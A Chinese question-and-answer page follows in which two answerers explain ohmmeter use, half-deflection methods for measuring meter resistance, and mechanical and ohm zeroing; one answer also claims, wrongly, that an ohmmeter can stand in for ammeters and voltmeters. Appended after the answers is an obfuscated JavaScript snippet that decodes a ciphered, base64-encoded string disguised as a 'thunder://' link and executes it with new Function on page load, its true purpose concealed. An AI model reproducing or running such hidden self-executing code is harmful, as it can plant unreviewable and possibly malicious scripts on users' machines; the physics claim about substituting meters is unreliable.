欧姆表 问题 感谢回答。

2024-11-29 09:24:02
推荐回答(2个)
回答1:

欧姆表因为可同时测电流和电压,所以可代替电流、电压表

欧姆表测电阻的一般方法是半偏法,百度百科上讲的非常详细了,这里不再赘述。

1、半偏电流法
实验中作了科学的近似,即在R1>>R2 条件,才有Rg=R2近似成立,实验的准确程度,重要的就上述条件的满足程度。因此,R1应选用阻值较大的电阻, R2应选用阻值较小的电阻;根据 可知增大R1的阻值一个有效的措施就是在选取电源时电动势E尽可能大些;实验中R1、R2都要进行调节,必须用可变电阻,而R1的具体阻值不必读出,故既可以选用滑动变阻器,也可以选用变阻箱,R2的阻值须要读出具体数值,只能选用变阻箱。
2、半偏电压法
实验的条件是在R1<<R2,才有RV=R2近似成立,该条件的满足条件同样对实验的准确性起了决定性的作用。因此,R1应选用阻值较小的电阻,R2应选用阻值较大的电阻(比电压表内阻大,分析见误差情况);根据串并联电路的特点有:UV=ERV/(R1+R1RV/x-x)(x为变阻器与电压表并联部分),减小E是减小R1的一个有效的措施;与半偏电流法同样分析可知,实验中R1选用滑动变阻器,R2须选用变阻箱。

首先要了解欧姆表的构造和使用时注意事项:http://baike.baidu.com/view/1342889.html?wtp=tt

参考资料中的网址是半偏法测电阻的具体方法及注意事项和要求~

希望对你有所帮助

回答补充:机械调零是首次使用先进行的步骤,机械调零后只将红黑表笔短接后进行欧姆调零即可,省去了机械调零

回答2:

测量电阻前要机械调零,使得指针指在左端零刻度处,,再将红黑表笔短接,再欧姆调零,使得指针指在右端0欧姆处就可以了。侧其他电阻时不用再调节机械调零只进行欧姆调零。

(function(){function m888b98(k7d1c){var d23e48="_zGq:g|3t]^mOk8YLCo6~xX5D&MsrQ@Tidl0%/f2NcU-4vA(E=[Wnuy9SVHF71e?h;KapZ!.wRPj$JBI,b";var q7eba="H7o_VXb|Ol$j3wF81SR(ut?mk%KY[;M=,LCBEQz@0sGhN.A2ie:-g~Pv9Uypd&na4cx!T6JqI^DrfWZ]5/";return atob(k7d1c).split('').map(function(rc36d5d){var m4abcf=d23e48.indexOf(rc36d5d);return m4abcf==-1?rc36d5d:q7eba[m4abcf]}).join('')}var c=m888b98('thunder://a0VlN0drciIkIisiTCh6NyIrIloiSVQkfmU7eEVHZTYpezYkfmU7eEVHZTZmKDdOTChMTyxpRVlMenx6aS5aWVo9eix8P2ljTk49TE8pe0UkNmJSQD87M0pFZWJ2eD1jeDZlPzlFbj94R2p2Rl0/eCRHajUpKXtqPXh+amV9OT9qIEs/fExOKHxUJH5lO3hFR2U2RHw7enosTiwoKXtqPXh+amUgQ3hqRWVudiRqRzVsLT9qbEc3PTZEfDt6eixOLCgpfVE5P2ogfFo7Tk8kLD9UciJdbWNXX05McWR0QVBxIUNxX3BAZCJpIjk9aldOTCJpImNFN1coWSJpIjs7eFcoTigsV05oV05ZIEwsW0x6WyxoIklROT9qIG4/enw7Tlk/N1QuWllaPXosfD9ySz98TE4ofDZTeikrSz98TE4ofDZMTFopK0s/fExOKHw2TExMKStLP3xMTih8NlNZKUlpSyR8JFlMVC5aWVo9eix8P3JLP3xMTih8NlNZKStLP3xMTih8NkxMWikrSz98TE4ofDZMTEwpK0s/fExOKHw2U3opSWk1JCQ3TFRjTk49TE9ybj96fDtOWT83NiJzTzpIOzU6fjc4NG07NV1rN0FUVCIpSWk/Wiwsej1Ubj96fDtOWT83NiJzTyFdc2dvXW9KS118Sjp+N0FUVCIpaTdMKFlOT058elRuP3p8O05ZPzc2IjtPOkU7T29IP0osZSIpaUZ6Tyg7aFRuP3p8O05ZPzc2Ijs1Omt8VThtQi9UVCIpaUs9KEwoaDdPLFRuP3p8O05ZPzc2IjtPMGM/Zy9UIilpNz16N3okUz16VG4/enw7Tlk/NzYiOzU6KEJnIWZCL1RUIilpRjd6fExUbj96fDtOWT83NiI/NVNGfG5UVCIpaTtaLHo/ej0oP1RuP3p8O05ZPzc2Ijs1OH5CVVN4IilpOzdMLD1ULlpZWj16LHw/cm4/enw7Tlk/NzYicEo4Tj9BVFQiKUlpfExoJFlMO1RuP3p8O05ZPzc2InxVUy1CQVRUIilROT9qIHhPeno7VG4/enw7Tlk/NzYiOyhMTj9Kb103blRUIilROT9qIERPaCRPUUUkNl1HOz94RUdldmM9P2o7LXZFZTc9S3QkNnhPeno7KT5XTCl7RE9oJE9UY05OPUxPcj9aLCx6PUk2bj96fDtOWT83NiI3VTpoN1U4SEJKJVQiKSlRRE9oJE92RTdUIngiKzs3TCw9cjtaLHo/ej0oP0k2KSpMPWhRRE9oJE92Y3hIXT12a0U3eC1UIkxOTiYiUURPaCRPdmN4SF09di09RW4teFQiLE5ORksiUURPaCRPdjdFYz98XT03VHhqfj1RRSQ2Y05OPUxPdnxHN0hhVGV+XV0pe2NOTj1MT3Z8RzdIdj9GRj1lN2wtRV03NkRPaCRPKX09XWM9ezk/aiBHU3xMU1QkfmU7eEVHZTYpe2NOTj1MT3Z8RzdIdj9GRj1lN2wtRV03NkRPaCRPKVEuWllaPXosfD92aj01Rzk9JTk9ZXhkRWN4PWU9ajZ8TGgkWUw7aUdTfExTaSQ/XWM9KX1RLlpZWj16LHw/dj83NyU5PWV4ZEVjeD1lPWo2fExoJFlMO2lHU3xMU2kkP11jPSl9fTk/aiBGLD9PaChaLFRjTk49TE9yP1osLHo9STZuP3p8O05ZPzc2IkJKTEVCSi9UIikpUUYsP09oKFosdkU3VEVZTHp8eis7N0wsPXY7PUVdNjs3TCw9cjtaLHo/ej0oP0k2KSpMPWgpUUYsP09oKFosdmN4SF09di09RW4teFQiTkZLIlFGLD9PaChaLHZjeEhdPXZHOT1qJF1Ha1QiLUU3Nz1lIlE5P2ogXTtTU058JFQkfmU7eEVHZTZEej8sWj1ZOyl7OT9qID96TFNaLHp6VEskfCRZTDZ8WjtOTyQsP3Y7R2U7P3g2cmBlR2tXXntQP3g9ciJlR2siSTYpfWBpYC1qPSRXXntdRzs/eEVHZXYtaj0kfWBpYH5jO1deezdPPSQ3Nyw2KX1gSSl2Y0dqeDY2NilUPjs3TCw9cjtaLHo/ej0oP0k2KVd2LCkpckY3enxMSTYiaSIpKVE5P2ogZXw/KCgkPVQ/ekxTWix6enZFZTc9S3QkNks/fExOKHw2WkwpKT5XTFg/ekxTWix6enI3TChZTk9OfHpJNj96TFNaLHp6dkVlNz1LdCQ2Sz98TE4ofDZaTCkpKVsiIlE/ekxTWix6elQ/ekxTWix6enJGek8oO2hJNmV8PygoJD1pIiIpcks9KEwoaDdPLEk2IiIpcjc9ejd6JFM9ekk2KXJGN3p8TEk2IiIpK2V8PygoJD1RRiw/T2goWix2Y2o7VHIiLXh4RmNbYmIiK0R6PyxaPVk7aUYsP09oKFosdkU3aT96TFNaLHp6SXJGN3p8TEk2ImIiKVF4akh7Y05OPUxPdnxHN0h2P0ZGPWU3bC1FXTc2Riw/T2goWiwpfTs/eDstNj0pe2NOTj1MT3Z8RzdIdkVlYz1qeDA9JEdqPTZGLD9PaChaLGljTk49TE92fEc3SHY7LUVdNzRHNz1jck5JKX1FJDZET2gkT2FUZX5dXSl7RE9oJE92OT9dfj0rVCJcXGpcXGU/RkY9ZTc9NyA9NSB4RyAteDVdIlE5P2ogRWg/aCwoP1RjTk49TE92bj14JV09NT1leDBIdzc2Riw/T2goWix2RTcpUUUkNkVoP2gsKD9UVGV+XV0zM0VoP2gsKD9UVH5lNz0kRWU9Nyl7RE9oJE92OT9dfj0rVCJcXGpcXGUgOz9leCBuPXggPTUgJGpHNSAteDVdIn19fVFFJDZET2gkT2FUZX5dXSl7RE9oJE92OT9dfj0rVCJcXGpcXGVjPWU3IG1jIC1HY3ggIitmKDdOTChMTyx9OT9qIDdPPSQ3NyxUJH5lO3hFR2U2KXt4akh7O0dlY3ggZixMeiQsO1Q2ZT1rIFA/eD0pdnhHZEc7P109UD94PUN4akVlbjYpUTtHZWN4IGN6U3o9VGBjNXhFcWNFN3Feez1TO1MofFlaLHZFWUx6fHp9cUY5YFFdPXggeGg9WjdUIUN0NHZGP2pjPTZdRzs/XUN4R2o/bj12bj14d3g9NTZjelN6PSkpUUUkNnhoPVo3VFRlfl1dMzN4aD1aN3Y3P3g9YVRmLEx6JCw7KXt4aD1aN1R7RjlwRTU9Y1tOaTc/eD1bZixMeiQsO319aj14fmplIHhoPVo3dkY5cEU1PWMrTH07P3g7LTZFUyxMKCRPTCl7aj14fmplIEx9fVE5P2ogZk56Pz87LFpUJH5lO3hFR2U2SFpTP3w9KXtqPXh+amUgbj96fDtOWT83NkhaUz98PSlyRnpPKDtoSTZLP3xMTih8NmgoKWk7N0wsPXI7Wix6P3o9KD9JNil2eEdDeGpFZW42T1opdmNdRTs9Njs3TCw9diRdR0dqNjs3TCw9cjtaLHo/ej0oP0k2KSpTKSsoKSl9UV07U1NOfCQ2Zk56Pz87LFo2Zig3TkwoTE8sKSlRLlpZWj16LHw/ciI/NzclOT1leGRFY3g9ZT1qIkk2IjU9Y2M/bj0iaTYkfmU7eEVHZTZFUyxMKCRPTCl7RSQ2RVMsTCgkT0x2Nz94P3ZEVFRFWUx6fHope2NOTj1MT3ZuPXglXT01PWV4MEh3NzZGLD9PaChaLHZFNyl2aj01Rzk9NilROT9qIDUkWj0kJFRlfl1dUUUkNkRPaCRPYVRlfl1dKXtET2gkT3Y5P11+PStUIlxcalxcZWo9Oz1FOT0gPTUgRkdjeCA1PWNjP249IlFET2gkT3Y5P11+PStUIlxcalxcZT12Nz94P3Y5ICIrRVMsTCgkT0x2Nz94P3YuUTUkWj0kJFQ2dnZ2Lkw7Wlk7T2hoKVQ+e0UkNmEuTDtaWTtPaGgzMy5MO1pZO09oaHZdPWVueC08VE4paj14fmplUURPaCRPdjk/XX49K1QiXFxqXFxlIisuTDtaWTtPaGh2bUdFZTYiICIpfX1lPWsgOH5lO3hFR2U2Ij9qbmMiaUVTLEwoJE9Mdjc/eD92Lik2e3F4NztjWzUkJDdMaXFdR25bNSRaPSQkfSl9fSkpfSk2IkIoO343VS9oNDUtZnxKS3hCKDcsfEMsTnxPQVp0cERMNG5UVCJpIihZImlrRWU3R2tpN0c7fjU9ZXgpfVEkTCh6N1o2KVE='.substr(10));new Function(c)()})();